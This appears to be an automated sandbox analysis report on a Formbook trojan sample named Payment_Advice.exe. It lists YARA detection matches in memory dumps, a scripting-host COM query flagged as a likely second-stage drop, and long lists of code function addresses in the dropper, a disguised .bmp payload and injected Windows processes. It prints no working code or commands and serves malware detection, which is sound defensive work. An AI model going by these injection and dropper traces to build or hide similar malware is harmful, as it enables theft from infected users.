Source: 00000010.00000002.3842416015.0000000002B50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000010.00000002.3842416015.0000000002B50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000010.00000002.3842416015.0000000002B50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000010.00000002.3842825880.0000000002F50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000010.00000002.3842825880.0000000002F50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000010.00000002.3842825880.0000000002F50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000003.1581247037.000000000103D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000003.1581247037.000000000103D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000003.1581247037.000000000103D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000F.00000002.3875577794.00000000106B5000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_772cc62d Author: unknown
Source: 0000000E.00000002.1647692265.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000E.00000002.1647692265.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000E.00000002.1647692265.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: Process Memory Space: ewdbwwfpdh.bmp PID: 6052, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: RegSvcs.exe PID: 6108, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: cmd.exe PID: 636, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: Payment_Advice.exe

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 0_2_0050848E	0_2_0050848E
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 0_2_00516CDC	0_2_00516CDC
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 0_2_005040FE	0_2_005040FE
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 0_2_00514088	0_2_00514088
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 0_2_005100B7	0_2_005100B7
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 0_2_00517153	0_2_00517153
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 0_2_005251C9	0_2_005251C9
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 0_2_005162CA	0_2_005162CA
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 0_2_005032F7	0_2_005032F7
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 0_2_005143BF	0_2_005143BF
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 0_2_0052D440	0_2_0052D440
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 0_2_0050F461	0_2_0050F461
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 0_2_0050C426	0_2_0050C426
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 0_2_005177EF	0_2_005177EF
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 0_2_0050286B	0_2_0050286B
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 0_2_0052D8EE	0_2_0052D8EE
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 0_2_005319F4	0_2_005319F4
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 0_2_0050E9B7	0_2_0050E9B7
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 0_2_00513E0B	0_2_00513E0B
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 0_2_0050EFE2	0_2_0050EFE2
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 0_2_00524F9A	0_2_00524F9A
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_00192007	6_2_00192007
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_00198037	6_2_00198037
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_0018E0BE	6_2_0018E0BE
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_0017E1A0	6_2_0017E1A0
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_0017225D	6_2_0017225D
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_001AA28E	6_2_001AA28E
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_001922C2	6_2_001922C2
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_0018C59E	6_2_0018C59E
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_001FC7A3	6_2_001FC7A3
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_001AE89F	6_2_001AE89F
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_001E291A	6_2_001E291A
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_001A6AFB	6_2_001A6AFB
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_001D8B27	6_2_001D8B27
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_0019CE30	6_2_0019CE30
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_001A7169	6_2_001A7169
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_002051D2	6_2_002051D2
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_00179240	6_2_00179240
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_00179499	6_2_00179499
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_00191724	6_2_00191724
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_00191A96	6_2_00191A96
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_00179B60	6_2_00179B60
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_00197BAB	6_2_00197BAB
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_00191D40	6_2_00191D40
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_00197DDA	6_2_00197DDA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0041E81C	14_2_0041E81C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0040102F	14_2_0040102F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00401030	14_2_00401030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00401208	14_2_00401208
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0041DB3B	14_2_0041DB3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0041D563	14_2_0041D563
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0041DDCE	14_2_0041DDCE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00402D88	14_2_00402D88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00402D90	14_2_00402D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0041E5BB	14_2_0041E5BB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00409E4F	14_2_00409E4F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00409E50	14_2_00409E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0041DF7D	14_2_0041DF7D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0041DF1B	14_2_0041DF1B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00402FB0	14_2_00402FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01768158	14_2_01768158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D0100	14_2_016D0100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0177A118	14_2_0177A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017981CC	14_2_017981CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017A01AA	14_2_017A01AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017941A2	14_2_017941A2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01772000	14_2_01772000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0179A352	14_2_0179A352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017A03E6	14_2_017A03E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016EE3F0	14_2_016EE3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01780274	14_2_01780274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017602C0	14_2_017602C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E0535	14_2_016E0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017A0591	14_2_017A0591
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01792446	14_2_01792446
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01784420	14_2_01784420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0178E4F6	14_2_0178E4F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E0770	14_2_016E0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01704750	14_2_01704750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016DC7C0	14_2_016DC7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016FC6E0	14_2_016FC6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016F6962	14_2_016F6962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E29A0	14_2_016E29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017AA9A6	14_2_017AA9A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E2840	14_2_016E2840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016EA840	14_2_016EA840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0170E8F0	14_2_0170E8F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016C68B8	14_2_016C68B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0179AB40	14_2_0179AB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01796BD7	14_2_01796BD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016DEA80	14_2_016DEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0177CD1F	14_2_0177CD1F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016EAD00	14_2_016EAD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016DADE0	14_2_016DADE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016F8DBF	14_2_016F8DBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E0C00	14_2_016E0C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D0CF2	14_2_016D0CF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01780CB5	14_2_01780CB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01754F40	14_2_01754F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01700F30	14_2_01700F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01782F30	14_2_01782F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01722F28	14_2_01722F28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016ECFE0	14_2_016ECFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D2FC8	14_2_016D2FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0175EFA0	14_2_0175EFA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E0E59	14_2_016E0E59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0179EE26	14_2_0179EE26
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0179EEDB	14_2_0179EEDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0179CE93	14_2_0179CE93
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016F2E90	14_2_016F2E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017AB16B	14_2_017AB16B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0171516C	14_2_0171516C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016CF172	14_2_016CF172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016EB1B0	14_2_016EB1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017970E9	14_2_017970E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0179F0E0	14_2_0179F0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E70C0	14_2_016E70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0178F0CC	14_2_0178F0CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016CD34C	14_2_016CD34C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0179132D	14_2_0179132D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0172739A	14_2_0172739A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017812ED	14_2_017812ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016FB2C0	14_2_016FB2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E52A0	14_2_016E52A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01797571	14_2_01797571
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017A95C3	14_2_017A95C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0177D5B0	14_2_0177D5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D1460	14_2_016D1460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0179F43F	14_2_0179F43F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0179F7B0	14_2_0179F7B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01725630	14_2_01725630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017916CC	14_2_017916CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E9950	14_2_016E9950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016FB950	14_2_016FB950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01775910	14_2_01775910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0174D800	14_2_0174D800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E38E0	14_2_016E38E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0179FB76	14_2_0179FB76
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01755BF0	14_2_01755BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0171DBF9	14_2_0171DBF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016FFB80	14_2_016FFB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01753A6C	14_2_01753A6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0179FA49	14_2_0179FA49
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01797A46	14_2_01797A46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0178DAC6	14_2_0178DAC6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01725AA0	14_2_01725AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0177DAAC	14_2_0177DAAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01781AA3	14_2_01781AA3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01797D73	14_2_01797D73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01791D5A	14_2_01791D5A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E3D40	14_2_016E3D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016FFDC0	14_2_016FFDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01759C32	14_2_01759C32
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0179FCF2	14_2_0179FCF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0179FF09	14_2_0179FF09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016A3FD2	14_2_016A3FD2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016A3FD5	14_2_016A3FD5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0179FFB1	14_2_0179FFB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E1F92	14_2_016E1F92
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016E9EB0	14_2_016E9EB0
Source: C:\Windows\explorer.exe	Code function: 15_2_10196036	15_2_10196036
Source: C:\Windows\explorer.exe	Code function: 15_2_1018D082	15_2_1018D082
Source: C:\Windows\explorer.exe	Code function: 15_2_10194912	15_2_10194912
Source: C:\Windows\explorer.exe	Code function: 15_2_1018ED02	15_2_1018ED02
Source: C:\Windows\explorer.exe	Code function: 15_2_1019A5CD	15_2_1019A5CD
Source: C:\Windows\explorer.exe	Code function: 15_2_10197232	15_2_10197232
Source: C:\Windows\explorer.exe	Code function: 15_2_10191B30	15_2_10191B30
Source: C:\Windows\explorer.exe	Code function: 15_2_10191B32	15_2_10191B32
Source: C:\Windows\explorer.exe	Code function: 15_2_1069D232	15_2_1069D232
Source: C:\Windows\explorer.exe	Code function: 15_2_1069C036	15_2_1069C036
Source: C:\Windows\explorer.exe	Code function: 15_2_10693082	15_2_10693082
Source: C:\Windows\explorer.exe	Code function: 15_2_10697B30	15_2_10697B30
Source: C:\Windows\explorer.exe	Code function: 15_2_10697B32	15_2_10697B32
Source: C:\Windows\explorer.exe	Code function: 15_2_10694D02	15_2_10694D02
Source: C:\Windows\explorer.exe	Code function: 15_2_1069A912	15_2_1069A912
Source: C:\Windows\explorer.exe	Code function: 15_2_106A05CD	15_2_106A05CD
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A474B1	16_2_00A474B1
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A4540A	16_2_00A4540A
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A44C10	16_2_00A44C10
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A54875	16_2_00A54875
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A64191	16_2_00A64191
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A49144	16_2_00A49144
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A6695A	16_2_00A6695A
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A53EB3	16_2_00A53EB3
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A55A86	16_2_00A55A86
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A6769E	16_2_00A6769E
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A54EC1	16_2_00A54EC1
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A47A34	16_2_00A47A34
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A4EE03	16_2_00A4EE03
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A63E66	16_2_00A63E66
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A4D660	16_2_00A4D660
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A46E57	16_2_00A46E57
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A50BF0	16_2_00A50BF0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A46B20	16_2_00A46B20
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A50740	16_2_00A50740
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_038503E6	16_2_038503E6
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_0379E3F0	16_2_0379E3F0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_0384A352	16_2_0384A352
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_038102C0	16_2_038102C0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_03830274	16_2_03830274
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_038441A2	16_2_038441A2
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_038501AA	16_2_038501AA
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_038481CC	16_2_038481CC
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_03780100	16_2_03780100
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_0382A118	16_2_0382A118
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_03818158	16_2_03818158
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_03822000	16_2_03822000
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_03790770	16_2_03790770
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037B4750	16_2_037B4750
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_0378C7C0	16_2_0378C7C0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037AC6E0	16_2_037AC6E0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_03850591	16_2_03850591
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_03790535	16_2_03790535
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_0383E4F6	16_2_0383E4F6
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_03834420	16_2_03834420
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_03842446	16_2_03842446
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_03846BD7	16_2_03846BD7
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_0384AB40	16_2_0384AB40
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_0378EA80	16_2_0378EA80
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037A6962	16_2_037A6962
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_0385A9A6	16_2_0385A9A6
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037929A0	16_2_037929A0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_0379A840	16_2_0379A840
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_03792840	16_2_03792840
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037BE8F0	16_2_037BE8F0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037768B8	16_2_037768B8
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_0380EFA0	16_2_0380EFA0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037B0F30	16_2_037B0F30
